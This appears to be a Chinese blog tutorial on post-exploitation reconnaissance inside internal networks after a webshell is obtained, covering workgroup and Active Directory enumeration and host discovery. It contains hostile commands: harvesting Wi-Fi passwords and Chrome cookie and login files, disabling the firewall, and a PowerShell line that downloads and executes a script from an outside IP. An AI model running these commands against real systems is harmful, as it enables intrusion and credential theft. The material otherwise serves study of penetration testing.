一.内网环境分析
内网基础环境判断
IP、网关、DNS、是否能连通外网、网络连接及端口、本机host文件、机器的代理、是否在域内,域名是什么。
分析机器所处位置区域
DMZ区、办公区、生产区、核心DB等等
分析机器的角色
普通WEB服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务器等等
分析进出口流量是否能连通
协议的判断:常见的TCP、DNS、HTTP、ICMP等协议 端口判断:外网vps做监听,内网机器测试常见端口,常见能出去的端口有80,8080,443,53,110,123等。
TCP协议: vps:nc -lvvp 8888 target:nc vps-ip 8888
HTTP协议: vps:nc -lvvp 80 target:curl vps-ip 80
ICMP协议: vps:tcpdump icmp target:ping vps-ip
DNS协议: vps:nc -u -lvp 53 target: nslookup www.baidu.com vps-ip dig @vsp-ip www.baidu.com
二.工作组信息收集
1.内网渗透
在拿到webshell的时候,想办法获得系统信息拿到系统权限,进入到网络系统内部之后收集内部网络的各 种信息,获取内部网络有价值的人员、资产信息。
内网渗透的第一步,内网信息收集。
2.工作组简介
工作组(Work Group):是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中, 以方便管理。
- 默认情况下所有计算机都处在名为WORKGROUP的工作组中
- 工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况
- 它的建立步骤简单,使用起来也很好上手。大部分中小公司都采取工作组的方式对资源进行权限分配和目录共享
- 相同组中的不同用户通过对方主机的用户名和密码可以查看对方共享的文件夹,默认共享的是 Users 目录
- 不同组的不同用户通过对方主机的用户名和密码也可以查看对方共享的文件夹
- 所以工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的
3.本机信息收集
操作系统、权限、内网IP地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等 如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。
4.内网网段信息收集
只有找到不同网段才能进行纵向渗透,不然只能横向渗透
- 内网网段扫描
- 文件共享、FTP连接记录、浏览器访问记录、mstsc连接记录
- 渗透路由器、交换机
5.用户信息
1 |
查看本机用户列表 |
6.系统信息
1 |
查看补丁列表 |
7.网络收集(重点)
1 |
查看本机所有的tcp,udp端口连接及其对应的pid |
8.防火墙信息
1 |
关闭防火墙(Windows Server 2003 以前的版本) |
9.代理信息
1 |
REG QUERY "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings" /v ProxyServer |
10.Wifi密码
1 |
netsh wlan show profile |
11.回收站内容获取
1 |
FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b |
$I 开头的文件保存的是路径信息
$R 开头的文件保存的是文件内容
12.Chorme历史记录和Cookie获取
1 |
localappdata%googlechromeUSERDA~1defaultLOGIND~1 |
13.Powershell
FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录
1 |
powershell iex(new-object net.webclient).downloadstring('http://39.108.68.207:8000/Get-Information.ps1');GetInformation |
14.MSF信息收集
1 |
run winenum |
三.域内信息收集
1.域简介
域(domain)
域是一个有安全边界的计算机集合
安全边界:在两个域中,一个域中的用户无法访问另一个域中的资源)。
将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储 资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。
域成员计算机在登录的时候可以选择登录到域中或此计算机。
登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的 登陆到此计算机时,是通过SAM来进行NTLM验证的。
默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的计算机,域用户 信息保存在活动目录中
域控:DC(Domain Control)
在域架构中域控是用来管理所有客户端的服务器,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想 互相访问首先都得经过它的审核。
域控是域架构的核心,每个域控制器上都包含了AD活动目录数据库。一个域中可能要有至少两个域控。一个作为 DC,一个是备份DC。
活动目录:AD(Active Directory)
- 域环境中提供目录服务的组件;
- 在活动目录中,所有的网络对象信息以一种结构化的数据存储方式来保存;
- 活动目录存储着有关网络对象的信息,如用户、组、计算机、共享资源、打印机和联系人等; •
- 安装有AD活动目录的服务器就是域控DC。
用户可以通过AD活动目录定位到内网中的资源位置。
活动目录主要功能
- 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。
- 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。
- 环境集中管理:利用AD可以统一客户端桌面,IE,TCP/IP等设置。
- 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统 一管理。
- 更可靠:更少的宕机时间。如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠, 宕机时间更少。
活动目录为Microsoft统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。
Builtin容器
Builtin容器是Active Driectory默认创建的第一个容器,主要用于保存域中本地安全组。
Computers容器
Computers容器是Active Driectory默认创建的第2个容器,用于存放windows server域内所有成员计算 机的计算机账号。
Domain Controllers容器
Domain Controllers是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域。
Users容器
Users容器主要用于保存安装Active Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户。
DNS域名服务器
域控服务器要求DNS服务器按名称查找计算机、成员服务器和网络服务。
域名解析:DNS服务器通过其A记录将域名解析成IP地址
定位活动目录服务:客户机通过DNS服务器上的 SRV 服务记录定位提供某一个服务的计算机
2.Net组件(命令)
1 |
查询域 |
1 |
查询所有域成员计算机列表 |
1 |
查看域内所有账号 |
1 |
查看域密码策略 |
3.dsquery
1 |
查看当前域内的所有机器,dsquery工具一般在域控上才有,不过你可以上传一个dsquery |
1 |
查看域内所有的web站点 |
4.Other
1 |
查看域内信任关系 |
5.定位域控
1 |
ipconfig |
1 |
net group |
端口识别
端口:389
服务:LDAP、ILS
说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。
端口:53
服务:Domain Name Server(DNS)
说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最
为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。
四.内网存探测
1.Netbios协议探测
2.ICMP协议探测
3.UDP协议探测
4.ARP协议探测
5.SMB协议探测
MSF Msf5 > use auxiliary/scanner/smb/smb_version
6.域内端口探测
MSF中的portscan模块
F-NAScan
https://github.com/ywolf/F-NAScan
-h 必要参数,支持IP、IP段、IP范围指定、IP列表文件。
-p 指定要扫描端口列表,多个端口使用,隔开例如:22,23,80,3306。
-m 指定线程数,默认100线程
-t 指定HTTP请求超时时间,默认为10秒,端口扫描超时为值的1/2。
-n 不进行存活探测(ICMP)直接进行扫描。
Nmap永远的神(破音)
FROM :https://ailumao.cn/ | Author:Ailumao
相关推荐: Jarvis OJ -BASIC-WRITE-UP
似乎寒假起就没有好好刷过ctf题了,感觉菜的和狗一样。愈发的感觉到无力。所以来JarvisOJ修炼了,写个WP记录一下。 BASIC veryeasy question: 使用基本命令获取flag answer: 放winhex里面看下,没发现什么东西。题目说…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论